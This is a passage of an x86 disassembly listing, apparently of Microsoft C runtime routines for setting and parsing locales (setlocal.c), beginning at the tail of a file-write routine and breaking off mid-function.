loc_426AE5:				; CODE XREF: sub_4268D0+207j
		or	eax, 0FFFFFFFFh
		jmp	short loc_426B3F
; ---------------------------------------------------------------------------


loc_426AEA:				; CODE XREF: sub_4268D0+1EAj
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_426B1B
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 1Ah
		jnz	short loc_426B1B
		xor	eax, eax
		jmp	short loc_426B3F
; ---------------------------------------------------------------------------


loc_426B1B:				; CODE XREF: sub_4268D0+23Aj
					; sub_4268D0+245j
		call	sub_4224D0
		mov	dword ptr [eax], 1Ch
		call	sub_4224E0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_426B3F
; ---------------------------------------------------------------------------


loc_426B36:				; CODE XREF: sub_4268D0+1E0j
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_420]


loc_426B3F:				; CODE XREF: sub_4268D0+21j
					; sub_4268D0+218j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4268D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0B0h
		cmp	dword ptr [ebp+8], 0
		jl	short loc_426B65
		cmp	dword ptr [ebp+8], 5
		jle	short loc_426B6C


loc_426B65:				; CODE XREF: .data:00426B5Dj
		xor	eax, eax
		jmp	loc_426F3B
; ---------------------------------------------------------------------------


loc_426B6C:				; CODE XREF: .data:00426B63j
		push	13h
		call	sub_41BC80
		add	esp, 4
		mov	dword ptr [ebp-4], 1
		mov	eax, dword_4DE424
		add	eax, 1
		mov	dword_4DE424, eax


loc_426B8A:				; CODE XREF: .data:00426B9Bj
		cmp	dword_4DE428, 0
		jz	short loc_426B9D
		push	1
		call	dword_4E033C	; Sleep
		jmp	short loc_426B8A
; ---------------------------------------------------------------------------


loc_426B9D:				; CODE XREF: .data:00426B91j
		cmp	dword ptr [ebp+8], 0
		jz	short loc_426BE1
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_426BC1
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_426F40
		add	esp, 8
		mov	[ebp-0A8h], eax
		jmp	short loc_426BD3
; ---------------------------------------------------------------------------


loc_426BC1:				; CODE XREF: .data:00426BA7j
		mov	eax, [ebp+8]
		imul	eax, 0Ch
		mov	ecx, dword_447964[eax]
		mov	[ebp-0A8h], ecx


loc_426BD3:				; CODE XREF: .data:00426BBFj
		mov	edx, [ebp-0A8h]
		mov	[ebp-8], edx
		jmp	loc_426F1B
; ---------------------------------------------------------------------------


loc_426BE1:				; CODE XREF: .data:00426BA1j
		mov	dword ptr [ebp-14h], 1
		mov	dword ptr [ebp-0Ch], 0
		cmp	dword ptr [ebp+0Ch], 0
		jz	loc_426F13
		mov	eax, [ebp+0Ch]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 4Ch
		jnz	loc_426E24
		mov	edx, [ebp+0Ch]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 43h
		jnz	loc_426E24
		mov	ecx, [ebp+0Ch]
		movsx	edx, byte ptr [ecx+2]
		cmp	edx, 5Fh
		jnz	loc_426E24
		mov	eax, [ebp+0Ch]
		mov	[ebp-9Ch], eax


loc_426C31:				; CODE XREF: .data:00426DF3j
		push	offset asc_435374 ; "=;"
		mov	ecx, [ebp-9Ch]
		push	ecx
		call	sub_42D270
		add	esp, 8
		mov	[ebp-0A0h], eax
		cmp	dword ptr [ebp-0A0h], 0
		jz	short loc_426C7D
		mov	edx, [ebp-0A0h]
		sub	edx, [ebp-9Ch]
		mov	[ebp-0A4h], edx
		cmp	dword ptr [ebp-0A4h], 0
		jz	short loc_426C7D
		mov	eax, [ebp-0A0h]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Bh
		jnz	short loc_426CA3


loc_426C7D:				; CODE XREF: .data:00426C52j
					; .data:00426C6Dj
		cmp	dword ptr [ebp-4], 0
		jz	short loc_426C9C
		push	13h
		call	sub_41BD20
		add	esp, 4
		mov	edx, dword_4DE424
		sub	edx, 1
		mov	dword_4DE424, edx


loc_426C9C:				; CODE XREF: .data:00426C81j
		xor	eax, eax
		jmp	loc_426F3B
; ---------------------------------------------------------------------------


loc_426CA3:				; CODE XREF: .data:00426C7Bj
		mov	dword ptr [ebp-10h], 1
		jmp	short loc_426CB5
; ---------------------------------------------------------------------------


loc_426CAC:				; CODE XREF: .data:loc_426D01j
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax


loc_426CB5:				; CODE XREF: .data:00426CAAj
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_426D03
		mov	ecx, [ebp-0A4h]
		push	ecx
		mov	edx, [ebp-9Ch]
		push	edx
		mov	eax, [ebp-10h]
		imul	eax, 0Ch
		mov	ecx, off_447960[eax]
		push	ecx
		call	sub_418830
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426D01
		mov	edx, [ebp-10h]
		imul	edx, 0Ch
		mov	eax, off_447960[edx]
		push	eax
		call	sub_414EC0
		add	esp, 4
		cmp	[ebp-0A4h], eax
		jnz	short loc_426D01
		jmp	short loc_426D03
; ---------------------------------------------------------------------------


loc_426D01:				; CODE XREF: .data:00426CE0j
					; .data:00426CFDj
		jmp	short loc_426CAC
; ---------------------------------------------------------------------------


loc_426D03:				; CODE XREF: .data:00426CB9j
					; .data:00426CFFj
		push	offset asc_435370 ; ";"
		mov	ecx, [ebp-0A0h]
		add	ecx, 1
		mov	[ebp-0A0h], ecx
		mov	edx, [ebp-0A0h]
		push	edx
		call	sub_42D230
		add	esp, 8
		mov	[ebp-0A4h], eax
		cmp	dword ptr [ebp-0A4h], 0
		jnz	short loc_426D69
		mov	eax, [ebp-0A0h]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Bh
		jz	short loc_426D69
		cmp	dword ptr [ebp-4], 0
		jz	short loc_426D62
		push	13h
		call	sub_41BD20
		add	esp, 4
		mov	edx, dword_4DE424
		sub	edx, 1
		mov	dword_4DE424, edx


loc_426D62:				; CODE XREF: .data:00426D47j
		xor	eax, eax
		jmp	loc_426F3B
; ---------------------------------------------------------------------------


loc_426D69:				; CODE XREF: .data:00426D33j
					; .data:00426D41j
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_426DBA
		mov	eax, [ebp-0A4h]
		push	eax
		mov	ecx, [ebp-0A0h]
		push	ecx
		lea	edx, [ebp-98h]
		push	edx
		call	sub_417760
		add	esp, 0Ch
		mov	eax, [ebp-0A4h]
		mov	byte ptr [ebp+eax-98h],	0
		lea	ecx, [ebp-98h]
		push	ecx
		mov	edx, [ebp-10h]
		push	edx
		call	sub_426F40
		add	esp, 8
		test	eax, eax
		jz	short loc_426DBA
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax


loc_426DBA:				; CODE XREF: .data:00426D6Dj
					; .data:00426DAFj
		mov	ecx, [ebp-0A0h]
		add	ecx, [ebp-0A4h]
		mov	[ebp-9Ch], ecx
		mov	edx, [ebp-9Ch]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_426DE8
		mov	ecx, [ebp-9Ch]
		add	ecx, 1
		mov	[ebp-9Ch], ecx


loc_426DE8:				; CODE XREF: .data:00426DD7j
		mov	edx, [ebp-9Ch]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	loc_426C31
		cmp	dword ptr [ebp-0Ch], 0
		jz	short loc_426E0C
		call	sub_4270E0
		mov	[ebp-0ACh], eax
		jmp	short loc_426E16
; ---------------------------------------------------------------------------


loc_426E0C:				; CODE XREF: .data:00426DFDj
		mov	dword ptr [ebp-0ACh], 0


loc_426E16:				; CODE XREF: .data:00426E0Aj
		mov	ecx, [ebp-0ACh]
		mov	[ebp-8], ecx
		jmp	loc_426F11
; ---------------------------------------------------------------------------


loc_426E24:				; CODE XREF: .data:00426C02j
					; .data:00426C12j ...
		mov	edx, [ebp+8]
		push	edx
		push	0
		push	0
		lea	eax, [ebp-98h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_4271E0
		add	esp, 14h
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	loc_426F11
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_426E5E
; ---------------------------------------------------------------------------


loc_426E55:				; CODE XREF: .data:loc_426EBEj
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_426E5E:				; CODE XREF: .data:00426E53j
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_426EC0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_426EBE
		mov	eax, [ebp-10h]
		imul	eax, 0Ch
		mov	ecx, dword_447964[eax]
		push	ecx
		lea	edx, [ebp-98h]
		push	edx
		call	sub_418A30
		add	esp, 8
		test	eax, eax
		jz	short loc_426EB5
		lea	eax, [ebp-98h]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_426F40
		add	esp, 8
		test	eax, eax
		jz	short loc_426EAC
		mov	edx, [ebp-0Ch]
		add	edx, 1
		mov	[ebp-0Ch], edx
		jmp	short loc_426EB3
; ---------------------------------------------------------------------------


loc_426EAC:				; CODE XREF: .data:00426E9Fj
		mov	dword ptr [ebp-14h], 0


loc_426EB3:				; CODE XREF: .data:00426EAAj
		jmp	short loc_426EBE
; ---------------------------------------------------------------------------


loc_426EB5:				; CODE XREF: .data:00426E88j
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax


loc_426EBE:				; CODE XREF: .data:00426E68j
					; .data:loc_426EB3j
		jmp	short loc_426E55
; ---------------------------------------------------------------------------


loc_426EC0:				; CODE XREF: .data:00426E62j
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_426EEB
		call	sub_4270E0
		mov	[ebp-8], eax
		push	2
		mov	ecx, dword_447964
		push	ecx
		call	sub_415C60
		add	esp, 8
		mov	dword_447964, 0
		jmp	short loc_426F11
; ---------------------------------------------------------------------------


loc_426EEB:				; CODE XREF: .data:00426EC4j
		cmp	dword ptr [ebp-0Ch], 0
		jz	short loc_426EFE
		call	sub_4270E0
		mov	[ebp-0B0h], eax
		jmp	short loc_426F08
; ---------------------------------------------------------------------------


loc_426EFE:				; CODE XREF: .data:00426EEFj
		mov	dword ptr [ebp-0B0h], 0


loc_426F08:				; CODE XREF: .data:00426EFCj
		mov	edx, [ebp-0B0h]
		mov	[ebp-8], edx


loc_426F11:				; CODE XREF: .data:00426E1Fj
					; .data:00426E46j ...
		jmp	short loc_426F1B
; ---------------------------------------------------------------------------


loc_426F13:				; CODE XREF: .data:00426BF3j
		call	sub_4270E0
		mov	[ebp-8], eax


loc_426F1B:				; CODE XREF: .data:00426BDCj
					; .data:loc_426F11j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_426F38
		push	13h
		call	sub_41BD20
		add	esp, 4
		mov	eax, dword_4DE424
		sub	eax, 1
		mov	dword_4DE424, eax


loc_426F38:				; CODE XREF: .data:00426F1Fj
		mov	eax, [ebp-8]


loc_426F3B:				; CODE XREF: .data:00426B67j
					; .data:00426C9Ej ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426F40	proc near		; CODE XREF: .data:00426BB1p
					; .data:00426DA5p ...

var_A8		= dword	ptr -0A8h
var_A0		= dword	ptr -0A0h
var_9C		= byte ptr -9Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_A0]
		push	ecx
		lea	edx, [ebp+var_A8]
		push	edx
		lea	eax, [ebp+var_9C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_4271E0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_426F79
		xor	eax, eax
		jmp	loc_4270CF
; ---------------------------------------------------------------------------


loc_426F79:				; CODE XREF: sub_426F40+30j
		push	132h
		push	offset aSetlocal_c ; "setlocal.c"
		push	2
		lea	edx, [ebp+var_9C]
		push	edx
		call	sub_414EC0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_426FB0
		xor	eax, eax
		jmp	loc_4270CF
; ---------------------------------------------------------------------------


loc_426FB0:				; CODE XREF: sub_426F40+67j
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		mov	ecx, dword_447964[eax]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, dword_4DE06C[edx*4]
		mov	[ebp+var_4], eax
		push	6
		mov	ecx, [ebp+arg_0]
		imul	ecx, 6
		add	ecx, offset dword_4DE1E4
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		call	sub_419330
		add	esp, 0Ch
		mov	eax, dword_4DE084
		mov	[ebp+var_18], eax
		lea	ecx, [ebp+var_9C]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_418870
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		imul	ecx, 0Ch
		mov	dword_447964[ecx], eax
		mov	edx, [ebp+var_A8]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	dword_4DE06C[eax*4], edx
		push	6
		lea	ecx, [ebp+var_A8]
		push	ecx
		mov	edx, [ebp+arg_0]
		imul	edx, 6
		add	edx, offset dword_4DE1E4
		push	edx
		call	sub_419330
		add	esp, 0Ch
		cmp	[ebp+arg_0], 2
		jnz	short loc_427053
		mov	eax, [ebp+var_A0]
		mov	dword_4DE084, eax


loc_427053:				; CODE XREF: sub_426F40+106j
		cmp	[ebp+arg_0], 1
		jnz	short loc_427065
		mov	ecx, [ebp+var_A0]
		mov	dword_4DE088, ecx


loc_427065:				; CODE XREF: sub_426F40+117j
		mov	edx, [ebp+arg_0]
		imul	edx, 0Ch
		call	off_447968[edx]
		test	eax, eax
		jz	short loc_4270AC
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		mov	ecx, [ebp+var_C]
		mov	dword_447964[eax], ecx
		push	2
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_415C60
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dword_4DE06C[eax*4], ecx
		mov	edx, [ebp+var_18]
		mov	dword_4DE084, edx
		xor	eax, eax
		jmp	short loc_4270CF
; ---------------------------------------------------------------------------


loc_4270AC:				; CODE XREF: sub_426F40+133j
		cmp	[ebp+var_C], offset dword_447850
		jz	short loc_4270C3
		push	2
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_415C60
		add	esp, 8


loc_4270C3:				; CODE XREF: sub_426F40+173j
		mov	ecx, [ebp+arg_0]
		imul	ecx, 0Ch
		mov	eax, dword_447964[ecx]


loc_4270CF:				; CODE XREF: sub_426F40+34j
					; sub_426F40+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_426F40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4270E0	proc near		; CODE XREF: .data:00426DFFp
					; .data:00426EC6p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 1
		cmp	dword_447964, 0
		jnz	short loc_427114
		push	167h
		push	offset aSetlocal_c ; "setlocal.c"
		push	2
		push	351h
		call	sub_4150C0
		add	esp, 10h
		mov	dword_447964, eax


loc_427114:				; CODE XREF: sub_4270E0+14j
		mov	eax, dword_447964
		mov	byte ptr [eax],	0
		mov	[ebp+var_4], 1
		jmp	short loc_42712E
; ---------------------------------------------------------------------------


loc_427125:				; CODE XREF: sub_4270E0:loc_4271D7j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42712E:				; CODE XREF: sub_4270E0+43j
		mov	edx, [ebp+var_4]
		imul	edx, 0Ch
		mov	eax, dword_447964[edx]
		push	eax
		push	offset asc_435384 ; "="
		mov	ecx, [ebp+var_4]
		imul	ecx, 0Ch
		mov	edx, off_447960[ecx]
		push	edx
		push	3
		mov	eax, dword_447964
		push	eax
		call	sub_427380
		add	esp, 14h
		cmp	[ebp+var_4], 5
		jge	short loc_4271A9
		push	offset asc_435370 ; ";"
		mov	ecx, dword_447964
		push	ecx
		call	sub_418880
		add	esp, 8
		mov	edx, [ebp+var_4]
		add	edx, 1
		imul	edx, 0Ch
		mov	eax, dword_447964[edx]
		push	eax
		mov	ecx, [ebp+var_4]
		imul	ecx, 0Ch
		mov	edx, dword_447964[ecx]
		push	edx
		call	sub_418A30
		add	esp, 8
		test	eax, eax
		jz	short loc_4271A7
		mov	[ebp+var_8], 0


loc_4271A7:				; CODE XREF: sub_4270E0+BEj
		jmp	short loc_4271D7
; ---------------------------------------------------------------------------


loc_4271A9:				; CODE XREF: sub_4270E0+81j
		cmp	[ebp+var_8], 0
		jnz	short loc_4271B6
		mov	eax, dword_447964
		jmp	short loc_4271DC
; ---------------------------------------------------------------------------


loc_4271B6:				; CODE XREF: sub_4270E0+CDj
		push	2
		mov	eax, dword_447964
		push	eax
		call	sub_415C60
		add	esp, 8
		mov	dword_447964, 0
		mov	eax, off_44797C
		jmp	short loc_4271DC
; ---------------------------------------------------------------------------


loc_4271D7:				; CODE XREF: sub_4270E0:loc_4271A7j
		jmp	loc_427125
; ---------------------------------------------------------------------------


loc_4271DC:				; CODE XREF: sub_4270E0+D4j
					; sub_4270E0+F5j
		mov	esp, ebp
		pop	ebp
		retn
sub_4270E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4271E0	proc near		; CODE XREF: .data:00426E37p
					; sub_426F40+26p

var_88		= byte ptr -88h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		cmp	[ebp+arg_0], 0
		jnz	short loc_4271F6
		xor	eax, eax
		jmp	loc_427360
; ---------------------------------------------------------------------------


loc_4271F6:				; CODE XREF: sub_4271E0+Dj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 43h
		jnz	short loc_427250
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+1]
		test	eax, eax
		jnz	short loc_427250
		mov	ecx, [ebp+arg_4]
		mov	byte ptr [ecx],	43h
		mov	edx, [ebp+arg_4]
		mov	byte ptr [edx+1], 0
		cmp	[ebp+arg_8], 0
		jz	short loc_427239
		mov	eax, [ebp+arg_8]
		mov	word ptr [eax],	0
		mov	ecx, [ebp+arg_8]
		mov	word ptr [ecx+2], 0
		mov	edx, [ebp+arg_8]
		mov	word ptr [edx+4], 0


loc_427239:				; CODE XREF: sub_4271E0+3Dj
		cmp	[ebp+arg_C], 0
		jz	short loc_427248
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 0


loc_427248:				; CODE XREF: sub_4271E0+5Dj
		mov	eax, [ebp+arg_4]
		jmp	loc_427360
; ---------------------------------------------------------------------------


loc_427250:				; CODE XREF: sub_4271E0+1Fj
					; sub_4271E0+2Aj
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	offset dword_4478D8
		call	sub_418A30
		add	esp, 8
		test	eax, eax
		jz	loc_427318
		mov	edx, [ebp+arg_0]
		push	edx
		push	offset dword_447854
		call	sub_418A30
		add	esp, 8
		test	eax, eax
		jz	loc_427318
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_88]
		push	ecx
		call	sub_4273D0
		add	esp, 8
		test	eax, eax
		jz	short loc_4272A0
		xor	eax, eax
		jmp	loc_427360
; ---------------------------------------------------------------------------


loc_4272A0:				; CODE XREF: sub_4271E0+B7j
		lea	edx, [ebp+var_88]
		push	edx
		push	offset dword_4DE060
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_42D2B0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4272C6
		xor	eax, eax
		jmp	loc_427360
; ---------------------------------------------------------------------------


loc_4272C6:				; CODE XREF: sub_4271E0+DDj
		xor	ecx, ecx
		mov	cx, word_4DE064
		mov	dword_4DE068, ecx
		lea	edx, [ebp+var_88]
		push	edx
		push	offset dword_4478D8
		call	sub_427530
		add	esp, 8
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_427306
		mov	edx, [ebp+arg_0]
		push	edx
		push	offset dword_447854
		call	sub_418870
		add	esp, 8
		jmp	short loc_427318
; ---------------------------------------------------------------------------


loc_427306:				; CODE XREF: sub_4271E0+111j
		push	offset dword_4478D8
		push	offset dword_447854
		call	sub_418870
		add	esp, 8


loc_427318:				; CODE XREF: sub_4271E0+83j
					; sub_4271E0+9Cj ...
		cmp	[ebp+arg_8], 0
		jz	short loc_427331
		push	6
		push	offset dword_4DE060
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_419330
		add	esp, 0Ch


loc_427331:				; CODE XREF: sub_4271E0+13Cj
		cmp	[ebp+arg_C], 0
		jz	short loc_42734A
		push	4
		push	offset dword_4DE068
		mov	ecx, [ebp+arg_C]
		push	ecx
		call	sub_419330
		add	esp, 0Ch


loc_42734A:				; CODE XREF: sub_4271E0+155j
		push	offset dword_4478D8
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_418870
		add	esp, 8
		mov	eax, offset dword_4478D8


loc_427360:				; CODE XREF: sub_4271E0+11j
					; sub_4271E0+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4271E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427370	proc near		; CODE XREF: sub_426F40+12Bp
					; DATA XREF: .data:off_447968o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_427370	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427380	proc near		; CODE XREF: sub_4270E0+75p
					; sub_427530+30p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 0
		jmp	short loc_42739E
; ---------------------------------------------------------------------------


loc_427395:				; CODE XREF: sub_427380+42j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_42739E:				; CODE XREF: sub_427380+13j
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+arg_4]
		jge	short loc_4273C4
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx-4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_418880
		add	esp, 8
		jmp	short loc_427395
; ---------------------------------------------------------------------------


loc_4273C4:				; CODE XREF: sub_427380+24j
		mov	[ebp+var_4], 0
		mov	esp, ebp
		pop	ebp
		retn
sub_427380	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4273D0	proc near		; CODE XREF: sub_4271E0+ADp

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	88h
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_417700
		add	esp, 0Ch
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_4273FA
		xor	eax, eax
		jmp	loc_427529
; ---------------------------------------------------------------------------


loc_4273FA:				; CODE XREF: sub_4273D0+21j
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Eh
		jnz	short loc_427430
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+1]
		test	eax, eax
		jz	short loc_427430
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, 80h
		push	edx
		call	sub_418870
		add	esp, 8
		xor	eax, eax
		jmp	loc_427529
; ---------------------------------------------------------------------------


loc_427430:				; CODE XREF: sub_4273D0+33j
					; sub_4273D0+3Ej
		mov	[ebp+var_4], 0
		jmp	short loc_427442
; ---------------------------------------------------------------------------


loc_427439:				; CODE XREF: sub_4273D0+152j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_427442:				; CODE XREF: sub_4273D0+67j
		push	offset a___0	; "_.,"
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_42D230
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_427464
		or	eax, 0FFFFFFFFh
		jmp	loc_427529
; ---------------------------------------------------------------------------


loc_427464:				; CODE XREF: sub_4273D0+8Aj
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_C]
		mov	al, [edx]
		mov	[ebp+var_8], al
		cmp	[ebp+var_4], 0
		jnz	short loc_42749A
		cmp	[ebp+var_C], 40h
		jge	short loc_42749A
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 2Eh
		jz	short loc_42749A
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_417760
		add	esp, 0Ch
		jmp	short loc_427500
; ---------------------------------------------------------------------------


loc_42749A:				; CODE XREF: sub_4273D0+A3j
					; sub_4273D0+A9j ...
		cmp	[ebp+var_4], 1
		jnz	short loc_4274C8
		cmp	[ebp+var_C], 40h
		jge	short loc_4274C8
		movsx	edx, [ebp+var_8]
		cmp	edx, 5Fh
		jz	short loc_4274C8
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, 40h
		push	edx
		call	sub_417760
		add	esp, 0Ch
		jmp	short loc_427500
; ---------------------------------------------------------------------------


loc_4274C8:				; CODE XREF: sub_4273D0+CEj
					; sub_4273D0+D4j ...
		cmp	[ebp+var_4], 2
		jnz	short loc_4274FB
		movsx	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_4274DF
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 2Ch
		jnz	short loc_4274FB


loc_4274DF:				; CODE XREF: sub_4273D0+104j
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 80h
		push	ecx
		call	sub_417760
		add	esp, 0Ch
		jmp	short loc_427500
; ---------------------------------------------------------------------------


loc_4274FB:				; CODE XREF: sub_4273D0+FCj
					; sub_4273D0+10Dj
		or	eax, 0FFFFFFFFh
		jmp	short loc_427529
; ---------------------------------------------------------------------------


loc_427500:				; CODE XREF: sub_4273D0+C8j
					; sub_4273D0+F6j ...
		movsx	edx, [ebp+var_8]
		cmp	edx, 2Ch
		jnz	short loc_42750B
		jmp	short loc_427527
; ---------------------------------------------------------------------------


loc_42750B:				; CODE XREF: sub_4273D0+137j
		movsx	eax, [ebp+var_8]
		test	eax, eax
		jnz	short loc_427515
		jmp	short loc_427527
; ---------------------------------------------------------------------------


loc_427515:				; CODE XREF: sub_4273D0+141j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		lea	eax, [edx+ecx+1]
		mov	[ebp+arg_4], eax
		jmp	loc_427439
; ---------------------------------------------------------------------------


loc_427527:				; CODE XREF: sub_4273D0+139j
					; sub_4273D0+143j
		xor	eax, eax


loc_427529:				; CODE XREF: sub_4273D0+25j
					; sub_4273D0+5Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4273D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427530	proc near		; CODE XREF: sub_4271E0+101p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_418870
		add	esp, 8
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+40h]
		test	eax, eax
		jz	short loc_427568
		mov	ecx, [ebp+arg_4]
		add	ecx, 40h
		push	ecx
		push	offset a__2	; "_"
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_427380
		add	esp, 10h


loc_427568:				; CODE XREF: sub_427530+1Cj
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax+80h]
		test	ecx, ecx
		jz	short loc_427593
		mov	edx, [ebp+arg_4]
		add	edx, 80h
		push	edx
		push	offset a__1	; "."
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_427380
		add	esp, 10h


loc_427593:				; CODE XREF: sub_427530+44j
		pop	ebp
